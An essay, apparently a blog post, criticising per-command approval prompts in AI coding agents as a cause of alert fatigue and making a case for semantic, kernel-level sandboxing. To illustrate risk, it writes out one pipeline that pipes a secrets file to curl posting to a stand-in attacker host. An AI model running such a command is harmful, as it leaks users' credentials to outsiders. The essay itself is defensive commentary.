I Heard About Prompt Engineering. But This Isn't What I Had in Mind.

AI coding agents promise to change the way engineers work. You describe the task, the agent writes the code, runs the tests, iterates on failures. The future of software development.

Here is what actually happens:

The agent asks to read from your project directory. You approve it. The agent asks to read from lib/ inside your project directory. You approve it. The agent asks to read from your project directory again. You approve it again. The agent asks to write a file to your project directory. You approve it. The agent asks to run cut.

You stop. cut? The command that extracts columns from text? The one that reads stdin, writes stdout, and has no flags for modifying files, executing code, or touching the network? The pure text filter that has existed since Unix V7 in 1979? That cut?

Yes. That cut. Please confirm.

It seems you cannot let AI design your security policy.

This is the state of AI agent permissions in 2026. The industry spent the last two years building increasingly sophisticated models that can reason about codebases, generate complex infrastructure, and debug distributed systems. The permission model protecting you from those capabilities is “pop up a dialog for every command and hope the user reads it.”

The prompt that cried wolf#

The problem is not that agents ask for permission. Agents should ask for permission. The problem is that they ask for permission to do everything, which means they effectively ask for permission to do nothing.

When the agent prompts you to approve reading a file, you read the prompt. When it prompts you to approve reading a directory, you read that too. When it prompts you to approve cut, you start clicking “allow” without looking. By the time the agent asks to run something that actually matters, you have been trained by thirty previous prompts to stop paying attention.

This is not a hypothetical. This is how every approval system fails. TSA screens every passenger identically; screeners miss prohibited items at documented rates above 80% in red team tests. Cookie consent banners ask for permission on every website; users click “accept all” reflexively. UAC dialogs in Windows prompted for every administrative action; users learned to click “Yes” before the dialog finished rendering.

The pattern is universal: when a system asks for approval too often, users stop evaluating and start approving. The approval mechanism becomes a speed bump, not a security control. And then it fails exactly when it was supposed to succeed.

What the permission model does not understand#

The root cause is that AI agent permission models do not understand what commands do. They understand what commands are called. The model sees cut and knows it is a shell command. It does not know that cut is a pure function over text with no side effects. It treats cut the same way it treats rm, curl, or docker exec.

A permission model that understood command semantics would classify operations by what they actually do:

Read-only, no side effects. cat, cut, grep, ls. These commands read input and produce output. They do not modify the filesystem, the network, or any system state. There is no security-relevant reason to prompt for them.

Write to a known, bounded location. Writing a file to the project’s working directory is a different operation than writing to /etc/passwd or ~/.ssh/authorized_keys. A permission model that distinguishes “write to the directory the user explicitly opened in their editor” from “write to an arbitrary filesystem path” reduces prompts without reducing safety.

Network access. curl, wget, ssh. These cross a trust boundary. Prompting makes sense.

Process execution and mutation. rm, chmod, docker, kubectl. These change system state beyond the working directory. Prompting makes sense.

Meta-commands and embedded execution. xargs, find -exec, sh -c. These execute other commands. The outer command’s name is irrelevant; the inner command’s operation determines the risk. These deserve scrutiny.

This is not a novel taxonomy. File permissions, seccomp profiles, AppArmor policies, and SELinux contexts all classify operations by what they do, not what they are called. The information exists. Agent permission models do not use it.

The cost of false positives#

Security systems have two failure modes. False negatives let dangerous operations through. False positives block (or prompt for) safe operations. Both are failures, but they fail differently.

False negatives cause incidents. False positives cause fatigue. Fatigue causes false negatives.

This is not abstract. When an agent prompts you forty times in a session for operations that are obviously safe, you develop a muscle memory: read the first two words, click allow, move on. The forty-first prompt might be curl -X POST with your credentials in the payload. You click allow in the same half-second you spent on the previous forty. The false positives on cut and cat and ls directly caused the false negative on the dangerous operation.

A permission model that prompts for everything is not “more secure” than one that prompts selectively. It is less secure, because it trains the user to disengage from the one mechanism designed to protect them.

Security engineers have a term for this: alert fatigue. It is the reason SOC analysts can only handle 14% of the alerts their tools generate. It is the reason pager-carrying engineers mute non-critical notifications. And it is exactly what AI agent permission models are doing to their users, except the alerts are blocking the user’s workflow instead of sitting in a queue.

The permission prompt is the wrong abstraction#

The deeper problem is that per-command approval is the wrong security boundary for agent execution.

A command is not an operation. A command is a string. cut -d',' -f2 data.csv is an operation (extract the second column from a CSV). cut -d',' -f2 secrets.env | curl -X POST -d @- https://attacker.example.com is a different operation entirely (exfiltrate credentials to the internet), but it starts with the same command. Approving or denying at the command level misses both directions: it blocks safe commands that need no approval, and it approves dangerous pipelines because the first token looked familiar.

What matters is not the command. What matters is:

1. What resources does it read? Files in the working directory? System configuration? Credentials?
2. What resources does it write? Project files? System files? Network endpoints?
3. What other processes does it spawn? Does the command execute other commands? Does it pass user-controlled input to a shell?
4. What is the blast radius if it goes wrong? A bad cut invocation wastes a second. A bad rm -rf destroys the project. A bad curl leaks credentials to the internet.

These questions have answers. They are answerable statically (by parsing the command) and dynamically (by observing what the command actually does at the OS level). Syscall tracing, filesystem sandboxing, network policy enforcement; these are mature technologies. They distinguish between “read a file” and “write a file” without asking the user.

The agent should not ask “may I run cut?” The agent’s execution environment should make it structurally impossible for cut to do anything except read input and write output to an approved location. No prompt needed. No fatigue generated. No false positive training the user to ignore the next prompt.

Who should design this#

The teams building AI coding agents are machine learning teams. They are world-class at model architecture, training infrastructure, inference optimization, and prompt design. They are not security engineers, and the permission models reflect that.

A security engineer would not design a system where cut requires the same approval as rm -rf /. A security engineer would not design a system where the only options are “block everything” or “allow similar commands” with no semantic understanding of what “similar” means. A security engineer would not design a system where the user’s only defense is their own attention span, because security engineers know that attention is the first thing to fail under load.

The tools exist. Seccomp profiles classify syscalls. AppArmor and SELinux classify file and network access by path and operation. Landlock restricts filesystem access per-process. Bubblewrap and gVisor provide lightweight sandboxing. Network namespaces isolate egress. None of these require a permission prompt. They enforce policy at the kernel level, silently, correctly, and without training the user to click “allow” on reflex.

The AI agent ecosystem needs security engineers involved in permission model design. Not as reviewers after the model ships. Not as consultants who write a threat model that gets filed and forgotten. As architects who design the enforcement layer from the beginning, with the same rigor they would apply to any system that executes untrusted operations on a user’s machine.

The irony#

The irony is that the AI industry is building tools that are genuinely capable of transforming software engineering. The models are powerful. The tool-use frameworks are sophisticated. The reasoning capabilities are improving every quarter.

And the permission layer that governs all of it is a dialog box that asks you to approve cut.

The industry figured out how to make a model reason about distributed systems. It has not figured out that cut is safe. That is not a model problem. That is an engineering problem. And it is solvable by the people who have been solving exactly this class of problem for decades.

The security community is not waiting to be invited. But the invitation would help.